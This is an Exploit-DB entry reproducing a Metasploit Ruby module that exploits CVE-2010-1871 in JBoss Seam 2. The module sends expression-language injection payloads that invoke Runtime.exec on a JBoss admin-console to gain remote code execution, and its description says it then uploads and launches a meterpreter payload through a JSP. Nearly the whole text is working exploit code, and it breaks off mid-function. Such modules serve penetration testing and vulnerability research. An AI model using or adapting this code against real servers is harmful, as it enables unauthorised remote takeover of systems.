Exploit-DB #36653
Description: JBoss Seam 2 - Arbitrary File Upload / Execution (Metasploit)
Type: remote
Platform: jsp
Date: 2015-04-06
Author: Metasploit

Exploit:
#
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/http'
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::Report
    include Msf::Exploit::FileDropper


    def initialize(info = {})
        super(update_info(info,
        'Name'                  => 'JBoss Seam 2 File Upload and Execute',
        'Description'   => %q{
            Versions of the JBoss Seam 2 framework  < 2.2.1CR2 fails to properly
            sanitize inputs to some JBoss Expression Language expressions.  As a
            result, attackers can gain remote code execution through the
            application server.  This module leverages RCE to upload and execute
            a meterpreter payload.

            Versions of the JBoss AS admin-console are known to be vulnerable to
            this exploit, without requiring authentication.  Tested against
            JBoss AS 5 and 6, running on Linux with JDKs 6 and 7.

            This module provides a more efficient method of exploitation - it
            does not loop to find desired Java classes and methods.

            NOTE: the check for upload success is not 100% accurate.
            NOTE 2: The module uploads the meterpreter JAR and a JSP to launch
            it.

        },
        'Author'                => [ 'vulp1n3 <vulp1n3[at]gmail.com>' ],
        'References'            =>
        [
            # JBoss EAP 4.3.0 does not properly sanitize JBoss EL inputs
            ['CVE', '2010-1871'],
            ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=615956'],
            ['URL', 'http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html'],
            ['URL', 'http://archives.neohapsis.com/archives/bugtraq/2013-05/0117.html']
        ],
        'DisclosureDate' => "Aug 05 2010",
        'License'               => MSF_LICENSE,
        'Platform'              => %w{ java },
        'Targets'               =>
        [
            [ 'Java Universal',
                {
                    'Arch' => ARCH_JAVA,
                    'Platform' => 'java'
                },
            ]
        ],
        'DefaultTarget'       => 0
        ))

        register_options(
        [
            Opt::RPORT(8080),
            OptString.new('AGENT',  [ true,  "User-Agent to send with requests", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"]),
            OptString.new('CTYPE',  [ true,  "Content-Type to send with requests", "application/x-www-form-urlencoded"]),
            OptString.new('TARGETURI',  [ true,  "URI that is built on JBoss Seam 2", "/admin-console/login.seam"]),
            OptInt.new('TIMEOUT', [ true, 'Timeout for web requests', 10]),
            OptString.new('FNAME',  [ false,  "Name of file to create - NO EXTENSION! (default: random)", nil]),
            OptInt.new('CHUNKSIZE', [ false, 'Size in bytes of chunk per request', 1024]),
        ], self.class)
    end


    def check
        vprint_status("#{rhost}:#{rport} Checking for vulnerable JBoss Seam 2")
        uri = target_uri.path
        res = send_request_cgi(
        {
            'uri'       => normalize_uri(uri),
            'method'    => 'POST',
            'ctype'     => datastore['CTYPE'],
            'agent'     => datastore['AGENT'],
            'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}"
        }, timeout=datastore['TIMEOUT'])
        if (res and res.code == 302 and res.headers['Location'])
            vprint_debug("Server sent a 302 with location")
            if (res.headers['Location'] =~ %r(public\+static\+java\.lang\.Runtime\+java.lang.Runtime.getRuntime\%28\%29))
                report_vuln({
                    :host => rhost,
                    :port => rport,
                    :name => "#{self.name} - #{uri}",
                    :refs => self.references,
                    :info => "Module #{self.fullname} found vulnerable JBoss Seam 2 resource."
                })
                return Exploit::CheckCode::Vulnerable
            else
                return Exploit::CheckCode::Safe
            end
        else
            return Exploit::CheckCode::Unknown
        end

        # If we reach this point, we didn't find the service
        return Exploit::CheckCode::Unknown
    end


    def execute_cmd(cmd)
        cmd_to_run = Rex::Text.uri_encode(cmd)
        vprint_status("#{rhost}:#{rport} Sending command: #{cmd_to_run}")
        uri = target_uri.path
        res = send_request_cgi(
        {
            'uri'       => normalize_uri(uri),
            'method'    => 'POST',
            'ctype'     => datastore['CTYPE'],
            'agent'     => datastore['AGENT'],
            'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('#{cmd_to_run}')}"
        }, timeout=datastore['TIMEOUT'])
        if (res and res.code == 302 and res.headers['Location'])
            if (res.headers['Location'] =~ %r(user=java.lang.UNIXProcess))
                vprint_status("#{rhost}:#{rport} Exploit successful")
            else
                vprint_status("#{rhost}:#{rport} Exploit failed.")
            end
        else
            vprint_status("#{rhost}:#{rport} Exploit failed.")
        end
    end


    def call_jsp(jspname)
        # TODO ugly way to strip off last resource on a path
        uri = target_uri.path
        *keep,ignore = uri.split(/\//)
        keep.push(jspname)
        uri = keep.join("/")
        uri = "/" + uri if (uri[0] != "/")

        res =